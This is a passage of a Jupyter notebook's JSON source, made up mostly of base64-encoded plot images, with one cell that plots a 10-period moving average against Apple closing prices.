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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ], + "source": [ + "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\")\n", + "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\")\n", + "plt.legend(loc=\"lower right\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": "
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